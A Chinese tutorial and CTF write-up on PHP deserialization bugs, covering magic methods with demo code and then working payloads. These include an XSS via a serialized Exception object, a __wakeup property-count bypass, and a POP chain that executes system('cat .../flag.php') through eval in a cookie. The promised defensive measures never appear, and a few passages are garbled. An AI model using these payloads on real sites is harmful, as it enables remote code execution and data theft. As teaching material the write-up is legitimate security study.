文章目录
- 概念
- 序列化数据的含义
- 魔术方法
- 魔术方法的使用
- construct,destruct
- toString
- call
- get
- set
- sleep
- wakeup
- isset
- unset
- invoke
- 原生态反序列化漏洞
- 概念
- 种类
- 复现
- wakeup长度绕过
- 产生原因
- 条件
- 复现
- 基本题型
- 源码
- 解读
在Web应用安全领域,PHP反序列化漏洞常常被视为一颗隐形的定时炸弹。它的危害在于能够让攻击者通过精心构造的恶意数据,远程执行任意代码或操作,从而掌控整个系统。随着PHP在Web开发中的广泛使用,反序列化漏洞的威胁也与日俱增。理解其工作原理,并掌握漏洞复现的技巧,对于提升我们对系统安全性的认识和防护能力至关重要。
本文将深入剖析PHP反序列化漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详细的防御措施。无论你是网络安全的新手,还是经验丰富的开发者,都能从中获得宝贵的知识和实用的技能。让我们一同揭开PHP反序列化漏洞的神秘面纱,提升我们的安全防护水平
概念
在PHP中,序列化是将复杂的数据结构(如数组或对象)转换为字符串,方便存储或传输;反序列化则是将该字符串恢复为原来的数据结构。使用serialize()
函数进行序列化,使用unserialize()
函数进行反序列化。
从图中可以看出序列化数据为O:1:“C”:1:{s:3:“cmd”;s:2:“ls”;},当将ls命令改为cat flag.php时,命令会执行,这就是导致漏洞的根本原因
序列化数据的含义
魔术方法
- _construct() 构造函数,当对象new的时候自动调用·
- -destruct() 析构函数,当对象销毁时自动调用
- _toString() 把类当作字符串使用时触发,用preg_match函数绕过
- _wakeup() unserialize()时会被自动调用,用unserialize绕过
- _invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用,用变量()绕过
- _call() 在对象上下文中调用不可访问的方法时触发
- _callStatci() 在静态上下文中调用不可访问的方法时触发
- _get() 用于不存在的属性读取数据,用变量-》属性绕过
- _set() 用于将数据写入不可访间的属性
- _isset() 在不可访问的属性 上调用isset()或empt()触发
- _unset() 在不可访问的属性上使用unset()时触发
- _sleep() serialize()函数会检查类中是否存在一个魔术方法 _sleep() 如果存在,该方法会被优先调用
- -wakeup()魔术方法绕过:条件:版本5~5.6.25 7~7.0.10 过程:将序列化字符串变量个数改成大于真实的属性值即可,从而不会触发wakeup方法
魔术方法的使用
-
construct,destruct
-
概念:
- _construct() 构造函数,当对象new的时候自动调用·
- -destruct() 析构函数,当对象销毁时自动调用
-
代码示例:
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Test { public $name; public $age; public $string; // __construct:实例化对象时被调用,其作用是初始化一些值。 public function __construct($name, $age, $string) { echo "__construct 初始化"."<br>"; $this->name = $name; $this->age = $age; $this->string = $string; } // __destruct:当删除一个对象或对象操作终止时被调用。主要作用是垃圾回收机制。 function __destruct() { echo "__destruct 类执行完毕"."<br>"; } } // 主动销毁 $test = new Test("Spaceman", 566, 'Test String'); unset($test); echo '第一种执行完毕'.'<br>'; echo '----------------------<br>'; // 程序结束自动销毁 $test = new Test("Spaceman", 566, 'Test String'); echo '第二种执行完毕'.'<br>'; ?> 结果: __construct 初始化 __destruct 类执行完毕 第一种执行完毕 ---------------------- __construct 初始化 第二种执行完毕 __destruct 类执行完毕
-
-
toString
-
概念
- _toString() 把类当作字符串使用时触发,用preg_match函数绕过
-
代码示例
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Test { public $variable = 'This is a string'; public function good() { echo $this->variable . '<br />'; } // 在对象当做字符串的时候会被调用 public function __toString() { return '__toString <br>'; } } $a = new Test(); $a->good(); // 输出调用 echo $a; ?> 结果: This is a string __toString
-
-
call
-
概念
- _call() 在对象上下文中调用不可访问的方法时触发
-
代码示例
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Test { public function good($number, $string) { echo '存在good方法'.'<br>'; echo $number.'---------'.$string.'<br>'; } // 当调用类中不存在的方法时,就会调用__call(); public function __call($method, $args) { echo '不存在'.$method.'方法'.'<br>'; var_dump($args); } } $a = new Test(); $a->good(566, 'nice'); $b = new Test(); $b->spaceman(899, 'no'); ?> 结果: 存在good方法 566---------nice 不存在spaceman方法 array(2) { [0]=> int(899) [1]=> string(2) "no" }
-
-
get
-
概念
- _get() 用于不存在的属性读取数据,用变量-》属性绕过
-
代码示例
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Test { public $n = 123; // __get():访问不存在的成员变量时调用 public function __get($name) { echo '__get 不存在成员变量'.$name.'<br>'; } } $a = new Test(); // 存在成员变量n,所以不调用__get echo $a->n; echo '<br>'; // 不存在成员变量spaceman,所以调用__get echo $a->spaceman; ?> 结果: 123 __get 不存在成员变量spaceman
-
-
set
-
概念
- _set() 用于将数据写入不可访间的属性
-
代码示例
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Test { public $data = 100; protected $noway = 0; // __set():设置对象不存在的属性或无法访问(私有)的属性时调用 public function __set($name, $value) { echo '__set 不存在成员变量 '.$name.'<br>'; echo '即将设置的值 '.$value."<br>"; $this->noway = $value; } public function Get() { echo $this->noway; } } $a = new Test(); // 读取 noway 的值,初始为0 $a->Get(); echo '<br>'; // 无法访问(私有)noway属性时调用,并设置值为899 $a->noway = 899; // 经过__set方法的设置noway的值为899 $a->Get(); echo '<br>'; // 设置对象不存在的属性spaceman $a->spaceman = 566; // 经过__set方法的设置noway的值为566 $a->Get(); ?> 结果: 0 __set 不存在成员变量 noway 即将设置的值 899 899 __set 不存在成员变量 spaceman 即将设置的值 566 566
-
-
sleep
-
概念
- _sleep() serialize()函数会检查类中是否存在一个魔术方法 _sleep() 如果存在,该方法会被优先调用
-
代码示例
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Test { public $name; public $age; public $string; // __construct:实例化对象时被调用,其作用是初始化一些值。 public function __construct($name, $age, $string) { echo "__construct 初始化"."<br>"; $this->name = $name; $this->age = $age; $this->string = $string; } // __sleep():serialize之前被调用,可以指定要序列化的对象属性 public function __sleep() { echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>"; // 例如指定只需要 name 和 age 进行序列化,必须返回一个数组 return array('name', 'age'); } } $a = new Test("Spaceman", 566, 'Test String'); echo serialize($a); ?> 结果: __construct 初始化 当在类外部使用serialize()时会调用这里的__sleep()方法 O:4:"Test":2:{s:4:"name";s:8:"Spaceman";s:3:"age";i:566;}
-
-
wakeup
-
概念
- _wakeup() unserialize()时会被自动调用,用unserialize绕过
-
代码示例
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Test { public $sex; public $name; public $age; public function __construct($name, $age, $sex) { $this->name = $name; $this->age = $age; $this->sex = $sex; } public function __wakeup() { echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>"; $this->age = 566; } } $person = new Test('spaceman', 21, '男'); $a = serialize($person); echo $a."<br>"; var_dump(unserialize($a)); ?> 结果: O:4:"Test":3:{s:3:"sex";s:3:"男";s:4:"name";s:8:"spaceman";s:3:"age";i:21;} 当在类外部使用unserialize()时会调用这里的__wakeup()方法 object(Test)#2 (3) { ["sex"]=> string(3) "男" ["name"]=> string(8) "spaceman" ["age"]=> int(566) }
-
-
isset
-
概念
- _isset() 在不可访问的属性 上调用isset()或empt()触发
-
代码示例
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Person { public $sex; private $name; private $age; public function __construct($name, $age, $sex) { $this->name = $name; $this->age = $age; $this->sex = $sex; } // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。 public function __isset($content) { echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>"; return isset($this->$content); } } $person = new Person("spaceman", 25, '男'); // public 成员 echo $person->sex, "<br>"; // private 成员 echo isset($person->name); ?> 结果: 男 当在类外部使用isset()函数测定私有成员 name 时,自动调用 1
-
-
unset
-
概念
- _unset() 在不可访问的属性上使用unset()时触发
-
代码示例
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Person { public $sex; private $name; private $age; public function __construct($name, $age, $sex) { $this->name = $name; $this->age = $age; $this->sex = $sex; } // __unset():销毁对象的某个属性时执行此函数 public function __unset($content) { echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>"; echo isset($this->$content)."<br>"; } } $person = new Person("spaceman", 21, "男"); // 初始赋值 echo "666666<br>"; unset($person->name); // 调用 属性私有 unset($person->age); // 调用 属性私有 unset($person->sex); // 不调用 属性共有 ?> 结果: 666666 当在类外部使用unset()函数来删除私有成员 name 时自动调用的 1 当在类外部使用unset()函数来删除私有成员 age 时自动调用的 1
-
-
invoke
-
概念
- _invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用,用变量()绕过
-
代码示例
<?php // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码 header('Content-Type: text/html; charset=utf-8'); class Test { // __invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用 public function __invoke($param1, $param2, $param3) { echo "这是一个对象<br>"; var_dump($param1, $param2, $param3); } } $a = new Test(); $a('spaceman', 21, '男'); ?> 结果: 这是一个对象 string(8) "spaceman" int(21) string(3) "男"
-
原生态反序列化漏洞
漏洞参考文档:浅析PHP原生类-安全客 - 安全资讯平台 (anquanke.com)
-
概念
-
种类
-
通过运行一下代码可得到所有的原生态函数(每个环境的原生态可能不同)
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( // '__destruct', '__toString', // '__wakeup', // '__call', // '__callStatic', // '__get', // '__set', // '__isset', // '__unset', // '__invoke', // '__set_state' ))) { print $class . '::' . $method . "\n"; } } }
-
-
复现
-
靶场: <?php highlight_file(__file__); $a = unserialize($_GET['k']); echo $a; ?> 解题payload: <?php $a=new Exception("<script>alert('cong')</script>"); echo urlencode(serialize($a)); ?>
-
解读
-
首先看到echo函数,想到tostring方法,用上述代码查看原生态的类型
-
以Exception为例,Exception的学习参考文章:PHP: Exception::__toString - Manual
-
根据介绍,他的报错是在网页端报错,符合xss攻击
-
-
wakeup长度绕过
-
产生原因
- 如果存在
__wakeup
方法,调用unserilize()
方法前则先调用__wakeup
方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
- 如果存在
-
条件
- PHP5 < 5.6.25
- PHP7 < 7.0.10
-
复现
-
靶场:www.zip
-
源码实例
class.php <?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?> payload: class Name{ private $username = 'admin'; private $password = '100'; } $a=new Name(); echo urlencode(serialize($a)); 改变前:O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D 改变后:O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
-
基本题型
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
构造脚本:
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat /www/wwwroot/cong/flag.php");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
?>
payload:
get:
1.php?username=xxxxxx&password=xxxxxx
post:
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A41%3A%22system%28%22cat+%2Fwww%2Fwwwroot%2Fcong%2Fflag.php%22%29%3B%22%3B%7D%7D
解读
-
找到命令执行函数,对应触发的方法为getInfo()
-
想办法触发getInfo方法,找到__destruct方法,通过修改 t h i s − > c l a s s − > g e t I n f o ( ) ; 中的 c l a s s 变量来触发 g e t i n f o 方法, this->class->getInfo();中的class变量来触发getinfo方法, this−>class−>getInfo();中的class变量来触发getinfo方法,this->class->getInfo();代表的意思是执行类变量中的getinfo方法
-
构造poc
-
<?php //首先删除不需要的 class ctfShowUser{ private $class = 'backDoor';//这里将info改为backDoor是为了调用backDoor的getInfo方法 public function __construct(){ $this->class=new backDoor();//这里是为了创建backDoor对象,因为后面需要调用 } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ private $code='system("cat /www/wwwroot/cong/flag.php");';//填写命令 public function getInfo(){ eval($this->code);//找到命令执行函数 } } $b=new ctfShowUser(); echo urlencode(serialize($b)); ?>
-
通过本文的学习,我们不仅深入了解了PHP反序列化漏洞的原理,还掌握了复现该漏洞的具体步骤和有效的防御策略。安全防护不仅是技术上的突破,更是一种持续关注和防范的意识。通过对PHP反序列化漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据免受攻击。
在信息安全的道路上,我们每个人都有责任和义务不断提升自身的安全技能和意识。希望本文能为你在安全防护方面提供有价值的指导和帮助,激发你对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全和可靠的网络环境。如果你有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢你的阅读,期待你的反馈与分享!